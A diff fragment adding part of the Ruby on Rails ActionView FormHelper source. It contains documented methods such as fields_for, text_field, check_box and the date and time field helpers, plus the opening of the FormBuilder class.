+      # name has been omitted) -
+      #
+      #   <%= fields_for @person.permission do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # and +fields_for+ will derive the required name of the field from the
+      # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+      # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+      #
+      # Note: This also works for the methods in FormOptionsHelper and
+      # DateHelper that are designed to work with an object as base, like
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
+      #
+      # === Nested Attributes Examples
+      #
+      # When the object belonging to the current scope has a nested attribute
+      # writer for a certain attribute, fields_for will yield a new scope
+      # for that attribute. This allows you to create forms that set or change
+      # the attributes of a parent object and its associations in one go.
+      #
+      # Nested attribute writers are normal setter methods named after an
+      # association. The most common way of defining these writers is either
+      # with +accepts_nested_attributes_for+ in a model definition or by
+      # defining a method with the proper name. For example: the attribute
+      # writer for the association <tt>:address</tt> is called
+      # <tt>address_attributes=</tt>.
+      #
+      # Whether a one-to-one or one-to-many style form builder will be yielded
+      # depends on whether the normal reader method returns a _single_ object
+      # or an _array_ of objects.
+      #
+      # ==== One-to-one
+      #
+      # Consider a Person class which returns a _single_ Address from the
+      # <tt>address</tt> reader method and responds to the
+      # <tt>address_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def address
+      #       @address
+      #     end
+      #
+      #     def address_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # This model can now be used with a nested fields_for, like so:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :address do |address_fields| %>
+      #       Street  : <%= address_fields.text_field :street %>
+      #       Zip code: <%= address_fields.text_field :zip_code %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # When address is already an association on a Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address
+      #   end
+      #
+      # If you want to destroy the associated model through the form, you have
+      # to enable it first using the <tt>:allow_destroy</tt> option for
+      # +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address, allow_destroy: true
+      #   end
+      #
+      # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+      # with a value that evaluates to +true+, you will destroy the associated
+      # model (eg. 1, '1', true, or 'true'):
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :address do |address_fields| %>
+      #       ...
+      #       Delete: <%= address_fields.check_box :_destroy %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # ==== One-to-many
+      #
+      # Consider a Person class which returns an _array_ of Project instances
+      # from the <tt>projects</tt> reader method and responds to the
+      # <tt>projects_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def projects
+      #       [@project1, @project2]
+      #     end
+      #
+      #     def projects_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # Note that the <tt>projects_attributes=</tt> writer method is in fact
+      # required for fields_for to correctly identify <tt>:projects</tt> as a
+      # collection, and the correct indices to be set in the form markup.
+      #
+      # When projects is already an association on Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects
+      #   end
+      #
+      # This model can now be used with a nested fields_for. The block given to
+      # the nested fields_for call will be repeated for each instance in the
+      # collection:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       <% if project_fields.object.active? %>
+      #         Name: <%= project_fields.text_field :name %>
+      #       <% end %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # It's also possible to specify the instance to be used:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <% @person.projects.each do |project| %>
+      #       <% if project.active? %>
+      #         <%= person_form.fields_for :projects, project do |project_fields| %>
+      #           Name: <%= project_fields.text_field :name %>
+      #         <% end %>
+      #       <% end %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # Or a collection to be used:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+      #       Name: <%= project_fields.text_field :name %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # If you want to destroy any of the associated models through the
+      # form, you have to enable it first using the <tt>:allow_destroy</tt>
+      # option for +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects, allow_destroy: true
+      #   end
+      #
+      # This will allow you to specify which models to destroy in the
+      # attributes hash by adding a form element for the <tt>_destroy</tt>
+      # parameter with a value that evaluates to +true+
+      # (eg. 1, '1', true, or 'true'):
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       Delete: <%= project_fields.check_box :_destroy %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # When a collection is used you might want to know the index of each
+      # object into the array. For this purpose, the <tt>index</tt> method
+      # is available in the FormBuilder object.
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       Project #<%= project_fields.index %>
+      #       ...
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # Note that fields_for will automatically generate a hidden field
+      # to store the ID of the record. There are circumstances where this
+      # hidden field is not needed and you can pass <tt>include_id: false</tt>
+      # to prevent fields_for from rendering it automatically.
+      def fields_for(record_name, record_object = nil, options = {}, &block)
+        builder = instantiate_builder(record_name, record_object, options)
+        capture(builder, &block)
+      end
+
+      # Scopes input fields with either an explicit scope or model.
+      # Like +form_with+ does with <tt>:scope</tt> or <tt>:model</tt>,
+      # except it doesn't output the form tags.
+      #
+      #   # Using a scope prefixes the input field names:
+      #   <%= fields :comment do |fields| %>
+      #     <%= fields.text_field :body %>
+      #   <% end %>
+      #   # => <input type="text" name="comment[body]>
+      #
+      #   # Using a model infers the scope and assigns field values:
+      #   <%= fields model: Comment.new(body: "full bodied") do |fields| %<
+      #     <%= fields.text_field :body %>
+      #   <% end %>
+      #   # =>
+      #   <input type="text" name="comment[body] value="full bodied">
+      #
+      #   # Using +fields+ with +form_with+:
+      #   <%= form_with model: @post do |form| %>
+      #     <%= form.text_field :title %>
+      #
+      #     <%= form.fields :comment do |fields| %>
+      #       <%= fields.text_field :body %>
+      #     <% end %>
+      #   <% end %>
+      #
+      # Much like +form_with+ a FormBuilder instance associated with the scope
+      # or model is yielded, so any generated field names are prefixed with
+      # either the passed scope or the scope inferred from the <tt>:model</tt>.
+      #
+      # When using labels +fields+ requires setting the id on the field being
+      # labelled:
+      #
+      #   <%= fields :comment do |fields| %>
+      #     <%= fields.label :body %>
+      #     <%= fields.text_field :body, id: :comment_body %>
+      #   <% end %>
+      #
+      # See +label+ for more on how the +for+ attribute is derived.
+      #
+      # === Mixing with other form helpers
+      #
+      # While +form_with+ uses a FormBuilder object it's possible to mix and
+      # match the stand-alone FormHelper methods and methods
+      # from FormTagHelper:
+      #
+      #   <%= fields model: @comment do |fields| %>
+      #     <%= fields.text_field :body %>
+      #
+      #     <%= text_area :commenter, :biography %>
+      #     <%= check_box_tag "comment[all_caps]", "1", @comment.commenter.hulk_mode? %>
+      #   <% end %>
+      #
+      # Same goes for the methods in FormOptionsHelper and DateHelper designed
+      # to work with an object as a base, like
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
+      def fields(scope = nil, model: nil, **options, &block)
+        options[:allow_method_names_outside_object] = true
+        options[:skip_default_ids] = true
+
+        if model
+          scope ||= model_name_from_record_or_class(model).param_key
+        end
+
+        builder = instantiate_builder(scope, model, options)
+        capture(builder, &block)
+      end
+
+      # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
+      # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+      # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
+      # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
+      # target labels for radio_button tags (where the value is used in the ID of the input tag).
+      #
+      # ==== Examples
+      #   label(:post, :title)
+      #   # => <label for="post_title">Title</label>
+      #
+      # You can localize your labels based on model and attribute names.
+      # For example you can define the following in your locale (e.g. en.yml)
+      #
+      #   helpers:
+      #     label:
+      #       post:
+      #         body: "Write your entire text here"
+      #
+      # Which then will result in
+      #
+      #   label(:post, :body)
+      #   # => <label for="post_body">Write your entire text here</label>
+      #
+      # Localization can also be based purely on the translation of the attribute-name
+      # (if you are using ActiveRecord):
+      #
+      #   activerecord:
+      #     attributes:
+      #       post:
+      #         cost: "Total cost"
+      #
+      #   label(:post, :cost)
+      #   # => <label for="post_cost">Total cost</label>
+      #
+      #   label(:post, :title, "A short title")
+      #   # => <label for="post_title">A short title</label>
+      #
+      #   label(:post, :title, "A short title", class: "title_label")
+      #   # => <label for="post_title" class="title_label">A short title</label>
+      #
+      #   label(:post, :privacy, "Public Post", value: "public")
+      #   # => <label for="post_privacy_public">Public Post</label>
+      #
+      #   label(:post, :terms) do
+      #     raw('Accept <a href="/terms">Terms</a>.')
+      #   end
+      #   # => <label for="post_terms">Accept <a href="/terms">Terms</a>.</label>
+      def label(object_name, method, content_or_options = nil, options = nil, &block)
+        Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
+      end
+
+      # Returns an input tag of the "text" type tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   text_field(:post, :title, size: 20)
+      #   # => <input type="text" id="post_title" name="post[title]" size="20" value="#{@post.title}" />
+      #
+      #   text_field(:post, :title, class: "create_input")
+      #   # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
+      #
+      #   text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }")
+      #   # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }"/>
+      #
+      #   text_field(:snippet, :code, size: 20, class: 'code_input')
+      #   # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
+      def text_field(object_name, method, options = {})
+        Tags::TextField.new(object_name, method, self, options).render
+      end
+
+      # Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown. For security reasons this field is blank by default; pass in a value via +options+ if this is not desired.
+      #
+      # ==== Examples
+      #   password_field(:login, :pass, size: 20)
+      #   # => <input type="password" id="login_pass" name="login[pass]" size="20" />
+      #
+      #   password_field(:account, :secret, class: "form_input", value: @account.secret)
+      #   # => <input type="password" id="account_secret" name="account[secret]" value="#{@account.secret}" class="form_input" />
+      #
+      #   password_field(:user, :password, onchange: "if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }")
+      #   # => <input type="password" id="user_password" name="user[password]" onchange="if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }"/>
+      #
+      #   password_field(:account, :pin, size: 20, class: 'form_input')
+      #   # => <input type="password" id="account_pin" name="account[pin]" size="20" class="form_input" />
+      def password_field(object_name, method, options = {})
+        Tags::PasswordField.new(object_name, method, self, options).render
+      end
+
+      # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   hidden_field(:signup, :pass_confirm)
+      #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
+      #
+      #   hidden_field(:post, :tag_list)
+      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
+      #
+      #   hidden_field(:user, :token)
+      #   # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+      def hidden_field(object_name, method, options = {})
+        Tags::HiddenField.new(object_name, method, self, options).render
+      end
+
+      # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+      # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+      #
+      # ==== Examples
+      #   file_field(:user, :avatar)
+      #   # => <input type="file" id="user_avatar" name="user[avatar]" />
+      #
+      #   file_field(:post, :image, multiple: true)
+      #   # => <input type="file" id="post_image" name="post[image][]" multiple="multiple" />
+      #
+      #   file_field(:post, :attached, accept: 'text/html')
+      #   # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+      #
+      #   file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
+      #   # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+      #
+      #   file_field(:attachment, :file, class: 'file_input')
+      #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+      def file_field(object_name, method, options = {})
+        Tags::FileField.new(object_name, method, self, options).render
+      end
+
+      # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
+      # on an object assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+.
+      #
+      # ==== Examples
+      #   text_area(:post, :body, cols: 20, rows: 40)
+      #   # => <textarea cols="20" rows="40" id="post_body" name="post[body]">
+      #   #      #{@post.body}
+      #   #    </textarea>
+      #
+      #   text_area(:comment, :text, size: "20x30")
+      #   # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+      #   #      #{@comment.text}
+      #   #    </textarea>
+      #
+      #   text_area(:application, :notes, cols: 40, rows: 15, class: 'app_input')
+      #   # => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
+      #   #      #{@application.notes}
+      #   #    </textarea>
+      #
+      #   text_area(:entry, :body, size: "20x20", disabled: 'disabled')
+      #   # => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
+      #   #      #{@entry.body}
+      #   #    </textarea>
+      def text_area(object_name, method, options = {})
+        Tags::TextArea.new(object_name, method, self, options).render
+      end
+
+      # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+      # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
+      # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+      # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+      #
+      # ==== Gotcha
+      #
+      # The HTML specification says unchecked check boxes are not successful, and
+      # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+      # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+      # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+      # any mass-assignment idiom like
+      #
+      #   @invoice.update(params[:invoice])
+      #
+      # wouldn't update the flag.
+      #
+      # To prevent this the helper generates an auxiliary hidden field before
+      # the very check box. The hidden field has the same name and its
+      # attributes mimic an unchecked check box.
+      #
+      # This way, the client either sends only the hidden field (representing
+      # the check box is unchecked), or both fields. Since the HTML specification
+      # says key/value pairs have to be sent in the same order they appear in the
+      # form, and parameters extraction gets the last occurrence of any repeated
+      # key in the query string, that works for ordinary forms.
+      #
+      # Unfortunately that workaround does not work when the check box goes
+      # within an array-like parameter, as in
+      #
+      #   <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+      #     <%= form.check_box :paid %>
+      #     ...
+      #   <% end %>
+      #
+      # because parameter name repetition is precisely what Rails seeks to distinguish
+      # the elements of the array. For each item with a checked check box you
+      # get an extra ghost item with only that attribute, assigned to "0".
+      #
+      # In that case it is preferable to either use +check_box_tag+ or to use
+      # hashes instead of arrays.
+      #
+      #   # Let's say that @post.validated? is 1:
+      #   check_box("post", "validated")
+      #   # => <input name="post[validated]" type="hidden" value="0" />
+      #   #    <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+      #
+      #   # Let's say that @puppy.gooddog is "no":
+      #   check_box("puppy", "gooddog", {}, "yes", "no")
+      #   # => <input name="puppy[gooddog]" type="hidden" value="no" />
+      #   #    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+      #
+      #   check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
+      #   # => <input name="eula[accepted]" type="hidden" value="no" />
+      #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+      def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
+        Tags::CheckBox.new(object_name, method, self, checked_value, unchecked_value, options).render
+      end
+
+      # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
+      # radio button will be checked.
+      #
+      # To force the radio button to be checked pass <tt>checked: true</tt> in the
+      # +options+ hash. You may pass HTML options there as well.
+      #
+      #   # Let's say that @post.category returns "rails":
+      #   radio_button("post", "category", "rails")
+      #   radio_button("post", "category", "java")
+      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+      #
+      #   # Let's say that @user.receive_newsletter returns "no":
+      #   radio_button("user", "receive_newsletter", "yes")
+      #   radio_button("user", "receive_newsletter", "no")
+      #   # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+      #   #    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+      def radio_button(object_name, method, tag_value, options = {})
+        Tags::RadioButton.new(object_name, method, self, tag_value, options).render
+      end
+
+      # Returns a text_field of type "color".
+      #
+      #   color_field("car", "color")
+      #   # => <input id="car_color" name="car[color]" type="color" value="#000000" />
+      def color_field(object_name, method, options = {})
+        Tags::ColorField.new(object_name, method, self, options).render
+      end
+
+      # Returns an input of type "search" for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object_name+). Inputs of type "search" may be styled differently by
+      # some browsers.
+      #
+      #   search_field(:user, :name)
+      #   # => <input id="user_name" name="user[name]" type="search" />
+      #   search_field(:user, :name, autosave: false)
+      #   # => <input autosave="false" id="user_name" name="user[name]" type="search" />
+      #   search_field(:user, :name, results: 3)
+      #   # => <input id="user_name" name="user[name]" results="3" type="search" />
+      #   #  Assume request.host returns "www.example.com"
+      #   search_field(:user, :name, autosave: true)
+      #   # => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" type="search" />
+      #   search_field(:user, :name, onsearch: true)
+      #   # => <input id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+      #   search_field(:user, :name, autosave: false, onsearch: true)
+      #   # => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+      #   search_field(:user, :name, autosave: true, onsearch: true)
+      #   # => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" type="search" />
+      def search_field(object_name, method, options = {})
+        Tags::SearchField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "tel".
+      #
+      #   telephone_field("user", "phone")
+      #   # => <input id="user_phone" name="user[phone]" type="tel" />
+      #
+      def telephone_field(object_name, method, options = {})
+        Tags::TelField.new(object_name, method, self, options).render
+      end
+      # aliases telephone_field
+      alias phone_field telephone_field
+
+      # Returns a text_field of type "date".
+      #
+      #   date_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-%m-%d"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone. You can still override that
+      # by passing the "value" option explicitly, e.g.
+      #
+      #   @user.born_on = Date.new(1984, 1, 27)
+      #   date_field("user", "born_on", value: "1984-05-12")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-05-12" />
+      #
+      # You can create values for the "min" and "max" attributes by passing
+      # instances of Date or Time to the options hash.
+      #
+      #   date_field("user", "born_on", min: Date.today)
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" min="2014-05-20" />
+      #
+      # Alternatively, you can pass a String formatted as an ISO8601 date as the
+      # values for "min" and "max."
+      #
+      #   date_field("user", "born_on", min: "2014-05-20")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" min="2014-05-20" />
+      #
+      def date_field(object_name, method, options = {})
+        Tags::DateField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "time".
+      #
+      # The default value is generated by trying to call +strftime+ with "%T.%L"
+      # on the object's value. It is still possible to override that
+      # by passing the "value" option.
+      #
+      # === Options
+      # * Accepts same options as time_field_tag
+      #
+      # === Example
+      #   time_field("task", "started_at")
+      #   # => <input id="task_started_at" name="task[started_at]" type="time" />
+      #
+      # You can create values for the "min" and "max" attributes by passing
+      # instances of Date or Time to the options hash.
+      #
+      #   time_field("task", "started_at", min: Time.now)
+      #   # => <input id="task_started_at" name="task[started_at]" type="time" min="01:00:00.000" />
+      #
+      # Alternatively, you can pass a String formatted as an ISO8601 time as the
+      # values for "min" and "max."
+      #
+      #   time_field("task", "started_at", min: "01:00:00")
+      #   # => <input id="task_started_at" name="task[started_at]" type="time" min="01:00:00.000" />
+      #
+      def time_field(object_name, method, options = {})
+        Tags::TimeField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "datetime-local".
+      #
+      #   datetime_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 1, 12)
+      #   datetime_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="1984-01-12T00:00:00" />
+      #
+      # You can create values for the "min" and "max" attributes by passing
+      # instances of Date or Time to the options hash.
+      #
+      #   datetime_field("user", "born_on", min: Date.today)
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
+      #
+      # Alternatively, you can pass a String formatted as an ISO8601 datetime as
+      # the values for "min" and "max."
+      #
+      #   datetime_field("user", "born_on", min: "2014-05-20T00:00:00")
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
+      #
+      def datetime_field(object_name, method, options = {})
+        Tags::DatetimeLocalField.new(object_name, method, self, options).render
+      end
+
+      alias datetime_local_field datetime_field
+
+      # Returns a text_field of type "month".
+      #
+      #   month_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="month" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-%m"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 1, 27)
+      #   month_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-01" />
+      #
+      def month_field(object_name, method, options = {})
+        Tags::MonthField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "week".
+      #
+      #   week_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="week" />
+      #
+      # The default value is generated by trying to call +strftime+ with "%Y-W%W"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone.
+      #
+      #   @user.born_on = Date.new(1984, 5, 12)
+      #   week_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-W19" />
+      #
+      def week_field(object_name, method, options = {})
+        Tags::WeekField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "url".
+      #
+      #   url_field("user", "homepage")
+      #   # => <input id="user_homepage" name="user[homepage]" type="url" />
+      #
+      def url_field(object_name, method, options = {})
+        Tags::UrlField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "email".
+      #
+      #   email_field("user", "address")
+      #   # => <input id="user_address" name="user[address]" type="email" />
+      #
+      def email_field(object_name, method, options = {})
+        Tags::EmailField.new(object_name, method, self, options).render
+      end
+
+      # Returns an input tag of type "number".
+      #
+      # ==== Options
+      # * Accepts same options as number_field_tag
+      def number_field(object_name, method, options = {})
+        Tags::NumberField.new(object_name, method, self, options).render
+      end
+
+      # Returns an input tag of type "range".
+      #
+      # ==== Options
+      # * Accepts same options as range_field_tag
+      def range_field(object_name, method, options = {})
+        Tags::RangeField.new(object_name, method, self, options).render
+      end
+
+      private
+        def html_options_for_form_with(url_for_options = nil, model = nil, html: {}, local: !form_with_generates_remote_forms,
+          skip_enforcing_utf8: false, **options)
+          html_options = options.slice(:id, :class, :multipart, :method, :data).merge(html)
+          html_options[:method] ||= :patch if model.respond_to?(:persisted?) && model.persisted?
+          html_options[:enforce_utf8] = !skip_enforcing_utf8
+
+          html_options[:enctype] = "multipart/form-data" if html_options.delete(:multipart)
+
+          # The following URL is unescaped, this is just a hash of options, and it is the
+          # responsibility of the caller to escape all the values.
+          html_options[:action] = url_for(url_for_options || {})
+          html_options[:"accept-charset"] = "UTF-8"
+          html_options[:"data-remote"] = true unless local
+
+          html_options[:authenticity_token] = options.delete(:authenticity_token)
+
+          if !local && html_options[:authenticity_token].blank?
+            html_options[:authenticity_token] = embed_authenticity_token_in_remote_forms
+          end
+
+          if html_options[:authenticity_token] == true
+            # Include the default authenticity_token, which is only generated when it's set to nil,
+            # but we needed the true value to override the default of no authenticity_token on data-remote.
+            html_options[:authenticity_token] = nil
+          end
+
+          html_options.stringify_keys!
+        end
+
+        def instantiate_builder(record_name, record_object, options)
+          case record_name
+          when String, Symbol
+            object = record_object
+            object_name = record_name
+          else
+            object = record_name
+            object_name = model_name_from_record_or_class(object).param_key if object
+          end
+
+          builder = options[:builder] || default_form_builder_class
+          builder.new(object_name, object, self, options)
+        end
+
+        def default_form_builder_class
+          builder = default_form_builder || ActionView::Base.default_form_builder
+          builder.respond_to?(:constantize) ? builder.constantize : builder
+        end
+    end
+
+    # A +FormBuilder+ object is associated with a particular model object and
+    # allows you to generate fields associated with the model object. The
+    # +FormBuilder+ object is yielded when using +form_for+ or +fields_for+.
+    # For example:
+    #
+    #   <%= form_for @person do |person_form| %>
+    #     Name: <%= person_form.text_field :name %>
+    #     Admin: <%= person_form.check_box :admin %>
+    #   <% end %>
+    #
+    # In the above block, a +FormBuilder+ object is yielded as the
+    # +person_form+ variable. This allows you to generate the +text_field+
+    # and +check_box+ fields by specifying their eponymous methods, which
+    # modify the underlying template and associates the +@person+ model object
+    # with the form.
+    #
+    # The +FormBuilder+ object can be thought of as serving as a proxy for the
+    # methods in the +FormHelper+ module. This class, however, allows you to
+    # call methods with the model object you are building the form for.
+    #
+    # You can create your own custom FormBuilder templates by subclassing this
+    # class. For example:
+    #
+    #   class MyFormBuilder < ActionView::Helpers::FormBuilder
+    #     def div_radio_button(method, tag_value, options = {})
+    #       @template.content_tag(:div,
+    #         @template.radio_button(
+    #           @object_name, method, tag_value, objectify_options(options)
+    #         )
+    #       )
+    #     end
+    #   end
+    #
+    # The above code creates a new method +div_radio_button+ which wraps a div
+    # around the new radio button. Note that when options are passed in, you
+    # must call +objectify_options+ in order for the model object to get
+    # correctly passed to the method. If +objectify_options+ is not called,
+    # then the newly created helper will not be linked back to the model.
+    #
+    # The +div_radio_button+ code from above can now be used as follows:
+    #
+    #   <%= form_for @person, :builder => MyFormBuilder do |f| %>
+    #     I am a child: <%= f.div_radio_button(:admin, "child") %>
+    #     I am an adult: <%= f.div_radio_button(:admin, "adult") %>
+    #   <% end -%>
+    #
+    # The standard set of helper methods for form building are located in the
+    # +field_helpers+ class attribute.
+    class FormBuilder
+      include ModelNaming
+
+      # The methods which wrap a form helper call.
+      class_attribute :field_helpers, default: [
+        :fields_for, :fields, :label, :text_field, :password_field,
+        :hidden_field, :file_field, :text_area, :check_box,
+        :radio_button, :color_field, :search_field,
+        :telephone_field, :phone_field, :date_field,
+        :time_field, :datetime_field, :datetime_local_field,
+        :month_field, :week_field, :url_field, :email_field,
+        :number_field, :range_field
+      ]
+
+      attr_accessor :object_name, :object, :options
+
+      attr_reader :multipart, :index
+      alias :multipart? :multipart
+
+      def multipart=(multipart)
+        @multipart = multipart
+
+        if parent_builder = @options[:parent_builder]
+          parent_builder.multipart = multipart
+        end
+      end
+
+      def self._to_partial_path
+        @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, "")
+      end
+
+      def to_partial_path
+        self.class._to_partial_path
+      end
+
+      def to_model
+        self
+      end
+
+      def initialize(object_name, object, template, options)
+        @nested_child_index = {}
+        @object_name, @object, @template, @options = object_name, object, template, options
+        @default_options = @options ? @options.slice(:index, :namespace, :skip_default_ids, :allow_method_names_outside_object) : {}
+
